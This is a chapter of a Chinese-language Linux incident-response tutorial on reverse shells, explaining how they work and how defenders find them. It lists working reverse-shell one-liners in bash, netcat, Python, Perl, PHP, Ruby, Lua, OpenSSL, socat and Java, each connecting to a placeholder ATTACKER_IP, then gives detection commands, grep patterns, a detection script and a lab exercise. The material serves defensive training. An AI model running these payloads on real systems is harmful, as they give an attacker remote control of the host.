Linux应急响应 - 27 反弹Shell技术与检测

反弹 Shell 技术与检测大全

反弹 Shell (Reverse Shell) 是攻击者最常用的远程控制手段,本页汇总 10+ 种语言的反弹 shell 及对应检测方法

关联:05-进程与网络分析 | 02-排查命令速查

反弹 Shell 原理

正向 Shell vs 反弹 Shell

正向 Shell(Bind Shell):目标机监听端口,攻击者主动连接

缺点:容易被防火墙拦截

反弹 Shell(Reverse Shell):攻击者监听端口,目标机主动连接回来

优点:绕过入站防火墙规则(出站通常不限制)

1
2
3
4
5
正向 Shell:
攻击者 ──连接──▶ 目标:4444 (监听)

反弹 Shell:
攻击者:4444 (监听) ◀──连接── 目标 (主动连出)

反弹 Shell 的本质

将目标机的 stdin/stdout/stderr 重定向到一个网络 socket

攻击者通过这个 socket 发送命令、接收输出

反弹 Shell 技术大全

1. Bash 反弹

1
2
3
4
5
6
7
8
# 最经典的 bash 反弹 shell
bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1

# 变体:使用 exec
exec 5<>/dev/tcp/ATTACKER_IP/PORT; cat <&5 | while read line; do $line 2>&5 >&5; done

# 变体:使用 0<&196
0<&196;exec 196<>/dev/tcp/ATTACKER_IP/PORT; bash <&196 >&196 2>&196

进程特征:bash -i,fd 中有 socket

检测:ps aux | grep "bash -i" + ls -la /proc/PID/fd/ | grep socket

2. Netcat (nc) 反弹

1
2
3
4
5
6
7
8
# 传统 nc(带 -e 选项)
nc -e /bin/bash ATTACKER_IP PORT

# 不带 -e 的 nc(使用管道)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc ATTACKER_IP PORT > /tmp/f

# ncat (nmap 版)
ncat ATTACKER_IP PORT -e /bin/bash

检测:ps aux | grep "nc.*-e\|ncat" + find /tmp -name "f" -type p(命名管道)

3. Python 反弹

1
2
3
4
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

# 简短版
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("ATTACKER_IP",PORT));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'

检测:ps aux | grep "python.*socket\|python.*import"

4. Perl 反弹

1
2
3
4
perl -e 'use Socket;$i="ATTACKER_IP";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

# 不依赖 /bin/bash 的版本
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"ATTACKER_IP:PORT");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

检测:ps aux | grep "perl.*socket\|perl.*Socket"

5. PHP 反弹

1
2
3
4
php -r '$sock=fsockopen("ATTACKER_IP",PORT);exec("/bin/bash -i <&3 >&3 2>&3");'

# 更完整版
php -r '$sock=fsockopen("ATTACKER_IP",PORT);$proc=proc_open("/bin/bash -i",array(0=>$sock,1=>$sock,2=>$sock),$pipes);'

检测:ps aux | grep "php.*fsockopen\|php.*exec"

6. Ruby 反弹

1
2
3
4
ruby -rsocket -e 'f=TCPSocket.open("ATTACKER_IP",PORT).to_i;exec sprintf("/bin/bash -i <&%d >&%d 2>&%d",f,f,f)'

# 更简洁
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("ATTACKER_IP",PORT);loop{c.gets.chomp!;(exit! if $_=="exit");IO.popen($_,"r"){|io|c.print io.read}}'

7. Lua 反弹

1
lua -e "require('socket');require('os');t=socket.tcp();t:connect('ATTACKER_IP','PORT');os.execute('/bin/bash -i <&3 >&3 2>&3');"

8. OpenSSL 加密反弹(检测难度高)

1
2
3
4
5
# 攻击者端(监听)
openssl s_server -quiet -key key.pem -cert cert.pem -port PORT

# 目标端(连接)
mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ATTACKER_IP:PORT > /tmp/s; rm /tmp/s

检测难度高:流量加密,无法通过内容检测

检测方法:进程参数中的 openssl s_client + 命名管道

9. Socat 反弹(功能最强)

1
2
3
4
5
# 基本反弹
socat exec:'bash -i',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:PORT

# 加密反弹(TLS)
socat OPENSSL:ATTACKER_IP:PORT,verify=0 EXEC:/bin/bash,pty,stderr,setsid

检测:ps aux | grep socat

10. Java 反弹

1
2
# 适用于已有 Java 环境的服务器
java -cp /tmp Runtime.getRuntime().exec(new String[]{"bash","-c","bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"})

在 Tomcat 环境中,攻击者可能通过 JSP webshell 或反序列化执行

检测方法总览

网络层检测

1
2
3
4
5
6
7
8
9
10
11
12
# 1. 查找所有 ESTABLISHED 外连
ss -antlp state established | grep -v "127.0.0.1\|::1"

# 2. 关注异常端口(常用反弹 shell 端口)
ss -antlp | grep -E ":4444|:5555|:6666|:7777|:8888|:9999|:1234|:31337"

# 3. 查找长时间保持的 TCP 连接
ss -antop state established
# 注意 timer 信息,反弹 shell 通常是持久连接

# 4. lsof 关联进程和网络连接
lsof -i -nP | grep ESTABLISHED

进程层检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 5. 综合进程搜索(匹配常见反弹 shell 特征)
ps auxef | grep -iE "bash -i|/dev/tcp|nc.*-e|ncat.*-e|python.*socket|perl.*socket|php.*fsockopen|ruby.*TCPSocket|socat|openssl.*s_client"

# 6. 检查进程的文件描述符是否关联 socket
for pid in $(ps -eo pid --no-headers); do
fd_count=$(ls /proc/$pid/fd 2>/dev/null | wc -l)
socket_count=$(ls -la /proc/$pid/fd 2>/dev/null | grep -c socket)
if [ "$socket_count" -gt 0 ]; then
cmd=$(cat /proc/$pid/cmdline 2>/dev/null | tr '\0' ' ')
echo "PID=$pid SOCKETS=$socket_count CMD=$cmd"
fi
done 2>/dev/null | grep -iE "bash|sh|python|perl|php|ruby|nc"

# 7. 检查 /proc/net/tcp 中的异常连接
# 状态 01 = ESTABLISHED
cat /proc/net/tcp | awk '$4 == "01"' | while read line; do
local_port=$((16#$(echo $line | awk '{print $2}' | cut -d: -f2)))
remote_ip_hex=$(echo $line | awk '{print $3}' | cut -d: -f1)
remote_port=$((16#$(echo $line | awk '{print $3}' | cut -d: -f2)))
echo "LOCAL:$local_port -> REMOTE_PORT:$remote_port"
done

文件层检测

1
2
3
4
5
# 8. 查找命名管道(nc 管道反弹 shell 的特征)
find /tmp /var/tmp /dev/shm -type p 2>/dev/null

# 9. 查找最近创建的脚本文件
find /tmp /var/tmp /dev/shm -type f -executable -mtime -1 2>/dev/null

反弹 Shell 特征对比表

类型 进程关键字 端口特征 文件特征 检测难度
Bash /dev/tcp bash -i 直连外部端口 无文件 ⭐ 低
Netcat -e nc -e /bin/bash 直连 可能有管道文件 ⭐ 低
Netcat 管道 nc + cat + bash 直连 /tmp/f 管道 ⭐⭐ 中
Python python.*socket 直连 无文件 ⭐⭐ 中
Perl perl.*socket 直连 无文件 ⭐⭐ 中
PHP php.*fsockopen 直连 无文件 ⭐⭐ 中
OpenSSL openssl s_client TLS 加密 可能有管道 ⭐⭐⭐ 高
Socat TLS socat OPENSSL TLS 加密 无文件 ⭐⭐⭐ 高
Meterpreter 无明显关键字 加密 内存驻留 ⭐⭐⭐⭐ 极高

一键反弹 Shell 检测脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/bin/bash
# 反弹 Shell 快速检测

RED='\033[0;31m'
GREEN='\033[0;32m'
NC='\033[0m'

echo "=== 反弹 Shell 检测 ==="
echo ""

echo "[1] 进程关键字匹配:"
ps auxef | grep -iE "bash -i|/dev/tcp|nc.*-e|ncat|python.*socket|perl.*Socket|php.*fsockopen|ruby.*TCPSocket|socat|openssl.*s_client" | grep -v grep

echo ""
echo "[2] 异常外连端口:"
ss -antlp state established 2>/dev/null | grep -vE "127\.0\.0\.1|::1|:22 |:80 |:443 "

echo ""
echo "[3] Shell 进程的 socket 连接:"
for pid in $(pgrep -x "bash\|sh\|dash\|zsh"); do
sockets=$(ls -la /proc/$pid/fd 2>/dev/null | grep -c socket)
if [ "$sockets" -gt 0 ]; then
cmd=$(cat /proc/$pid/cmdline 2>/dev/null | tr '\0' ' ')
echo -e " ${RED}[!] PID=$pid SOCKETS=$sockets CMD=$cmd${NC}"
fi
done

echo ""
echo "[4] 命名管道(可能的 nc 管道反弹):"
find /tmp /var/tmp /dev/shm -type p 2>/dev/null

echo ""
echo "[5] 异常端口监听:"
ss -antlp | grep -vE ":22 |:80 |:443 |:3306 |:6379 " | grep LISTEN

echo ""
echo "=== 检测完成 ==="

实战练习

配套实验:labs/19-reverse-shells/

练习场景

实验环境中同时运行了多种类型的反弹 shell

目标:使用本页的检测方法全部找出来

挑战:加密反弹 shell 如何检测?

排查步骤建议

  1. ss -antlp state established 先看异常外连

  2. ps auxef 找可疑进程

  3. 逐个检查可疑进程的 /proc/PID/fd/

  4. 使用 strace 跟踪可疑进程的网络活动

  5. 杀掉反弹 shell 进程

  6. 排查持久化(crontab, systemd, bashrc 等)


上一章 目录 下一章
26-inetd与xinetd后门 Linux应急响应 28-日志分析工具